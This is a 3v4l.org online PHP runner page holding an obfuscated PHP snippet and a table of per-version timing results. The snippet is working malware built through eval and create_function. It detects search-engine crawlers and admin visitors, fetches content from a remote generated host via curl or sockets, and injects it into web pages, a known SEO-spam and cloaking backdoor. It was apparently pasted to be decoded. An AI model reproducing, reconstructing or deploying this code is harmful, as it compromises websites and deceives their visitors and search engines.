3v4l.org

run code in 300+ PHP versions simultaneously
<?php $w9 ='"\x2f\50\x2e\52\x29\57\x65"; $v9 = #5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65";$slv = "\x73\164\x72\162\x65\166";$s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "\x70\162\x65\147\x5f\162\x65\160\x6c\141\x63\145"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i<sizeof($#,#); } create_function("", "};".$#,# = explode("#); $ji9 = "\x2c\40\x24\145\x65\61\x2c\40\x24\163\x39\71\x29\51\x3b"; $s99 = #Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}#'; $test = eval($w9); var_dump( $test );

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00716.75
8.3.50.0120.00921.08
8.3.40.0120.00918.98
8.3.30.0070.00718.73
8.3.20.0070.01020.16
8.3.10.0040.00423.66
8.3.00.0040.00419.69
8.2.180.0100.01018.23
8.2.170.0140.00722.96
8.2.160.0030.01020.39
8.2.150.0050.00324.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0070.00317.75
8.2.110.0090.00022.16
8.2.100.0040.00817.63
8.2.90.0000.00719.17
8.2.80.0000.00917.97
8.2.70.0030.00517.75
8.2.60.0040.00417.68
8.2.50.0030.00518.07
8.2.40.0060.00319.34
8.2.30.0000.00819.73
8.2.20.0000.00817.64
8.2.10.0040.00418.02
8.2.00.0080.00018.01
8.1.280.0040.01125.92
8.1.270.0030.01320.37
8.1.260.0040.00426.35
8.1.250.0030.00528.09
8.1.240.0000.00922.53
8.1.230.0070.00717.42
8.1.220.0000.00817.78
8.1.210.0030.00518.77
8.1.200.0060.00617.47
8.1.190.0050.00317.25
8.1.180.0090.00018.10
8.1.170.0080.00018.44
8.1.160.0000.00822.00
8.1.150.0000.00718.87
8.1.140.0030.00717.41
8.1.130.0030.00317.68
8.1.120.0000.00717.49
8.1.110.0050.00317.40
8.1.100.0020.00517.43
8.1.90.0000.00717.50
8.1.80.0040.00417.46
8.1.70.0030.00317.44
8.1.60.0040.00417.55
8.1.50.0000.00817.54
8.1.40.0040.00417.56
8.1.30.0090.00317.54
8.1.20.0050.00317.70
8.1.10.0000.00817.66
8.1.00.0020.00517.44
8.0.300.0000.00818.77
8.0.290.0030.00616.75
8.0.280.0030.00318.36
8.0.270.0030.00317.27
8.0.260.0030.00317.34
8.0.250.0020.00516.94
8.0.240.0070.00016.98
8.0.230.0050.00517.00
8.0.220.0030.00316.95
8.0.210.0070.00016.98
8.0.200.0000.00616.91
8.0.190.0110.00017.00
8.0.180.0000.00716.94
8.0.170.0030.00517.04
8.0.160.0050.00316.99
8.0.150.0030.00516.89
8.0.140.0080.00016.90
8.0.130.0000.00513.45
8.0.120.0000.00716.91
8.0.110.0020.00516.91
8.0.100.0040.00416.89
8.0.90.0040.00417.01
8.0.80.0090.00616.94
8.0.70.0000.00716.88
8.0.60.0040.00417.02
8.0.50.0070.00016.90
8.0.30.0140.00617.07
8.0.20.0080.01317.40
8.0.10.0000.00716.95
8.0.00.0120.00716.85
7.4.330.0000.00615.09
7.4.320.0030.00316.63
7.4.300.0000.00616.50
7.4.290.0000.00816.52
7.4.280.0040.00416.59
7.4.270.0030.00316.51
7.4.260.0000.00716.64
7.4.250.0000.00716.52
7.4.240.0000.00716.56
7.4.230.0030.00316.41
7.4.220.0070.01116.36
7.4.210.0120.00316.60
7.4.200.0030.00316.61
7.4.160.0090.00616.40
7.4.150.0120.01017.40
7.4.140.0100.00717.86
7.4.130.0120.00816.61
7.4.120.0080.00916.54
7.4.110.0060.01516.63
7.4.100.0060.01216.45
7.4.90.0080.00816.46
7.4.80.0090.00919.39
7.4.70.0070.01016.73
7.4.60.0090.00916.57
7.4.50.0090.00016.59
7.4.40.0070.01116.45
7.4.30.0060.01316.60
7.4.00.0070.01114.95
7.3.330.0050.00013.20
7.3.320.0030.00313.04
7.3.310.0070.00016.21
7.3.300.0070.00016.26
7.3.290.0020.01516.26
7.3.280.0040.01316.32
7.3.270.0090.01617.40
7.3.260.0090.01616.44
7.3.250.0110.00916.38
7.3.240.0130.00616.48
7.3.230.0170.00716.39
7.3.210.0140.00816.27
7.3.200.0150.00016.21
7.3.190.0080.00816.41
7.3.180.0060.00916.46
7.3.170.0080.01216.46
7.3.160.0110.01116.47
7.3.10.0050.00516.21
7.3.00.0060.00616.77
7.2.330.0110.00616.36
7.2.320.0030.01516.52
7.2.310.0120.00916.25
7.2.300.0120.00616.30
7.2.290.0090.00916.25
7.2.130.0000.00916.93
7.2.120.0030.01016.84
7.2.110.0040.00816.93
7.2.100.0060.00616.88
7.2.90.0000.00816.91
7.2.80.0040.00716.66
7.2.70.0030.00617.02
7.2.60.0100.00816.59
7.2.50.0090.00416.60
7.2.40.0040.00816.79
7.2.30.0030.01216.67
7.2.20.0030.01016.64
7.2.10.0000.01116.72
7.2.00.0050.00817.93
7.1.250.0030.00615.75
7.1.200.0000.01515.69
7.1.70.0040.00417.01
7.1.60.0030.01016.85
7.1.50.0110.00716.90
7.1.00.0000.07722.54
7.0.200.0060.01016.69
7.0.60.0030.04019.95
7.0.50.0130.07717.92
7.0.40.0000.04720.20
7.0.30.0270.08320.13
7.0.20.0270.04720.20
7.0.10.0030.04720.33
7.0.00.0130.08320.20
5.6.280.0000.07720.82
5.6.210.0000.04320.69
5.6.200.0070.06718.22
5.6.190.0100.07320.61
5.6.180.0270.05020.49
5.6.170.0170.04320.45
5.6.160.0130.07720.33
5.6.150.0130.03018.16
5.6.140.0030.04018.14
5.6.130.0100.05318.22
5.6.120.0070.05321.00
5.6.110.0030.08021.01
5.6.100.0000.09321.07
5.6.90.0200.07721.07
5.6.80.0030.04020.42
5.6.70.3530.04020.50
5.5.350.0070.06020.36
5.5.340.0030.05717.92
5.5.330.0070.07020.44
5.5.320.0130.05320.15
5.5.310.0200.07320.28
5.5.300.0070.08018.02
5.5.290.0030.09017.98
5.5.280.0030.08720.68
5.5.270.0030.08320.79
5.5.260.0100.08720.67
5.5.250.0100.04320.57
5.5.240.0030.07720.27
5.4.450.0870.05019.49
5.4.440.0800.05319.51
5.4.430.0700.06719.40
5.4.420.0830.05319.37
5.4.410.0970.06319.19
5.4.400.0870.06019.00
5.4.390.0870.06018.77
5.4.380.0730.07018.78
5.4.370.0930.05719.16
5.4.360.0870.06318.88
5.4.350.0830.04719.17
5.4.340.0700.05718.88
5.4.320.0800.04719.11
5.4.310.0700.05319.29
5.4.300.0770.07019.20
5.4.290.1000.07018.99
5.4.280.0700.06319.27
5.4.270.0830.04718.79
5.4.260.0830.05019.16
5.4.250.0800.05018.77
5.4.240.0630.06019.30
5.4.230.0600.06019.23
5.4.220.0770.05019.11
5.4.210.0900.04719.21
5.4.200.0900.04318.77
5.4.190.0870.05019.11
5.4.180.0770.05019.05
5.4.170.0730.05719.15
5.4.160.0670.05319.23
5.4.150.0700.05019.24
5.4.140.0570.05316.33
5.4.130.0730.04716.34
5.4.120.0770.05316.32
5.4.110.0600.05316.55
5.4.100.0570.05016.45
5.4.90.0600.04716.49
5.4.80.0770.04316.37
5.4.70.0270.05316.38
5.4.60.0230.04716.32
5.4.50.0000.05016.16
5.4.40.0030.05316.04
5.4.30.0070.05716.15
5.4.20.0070.06716.19

preferences:
41.29 ms | 401 KiB | 5 Q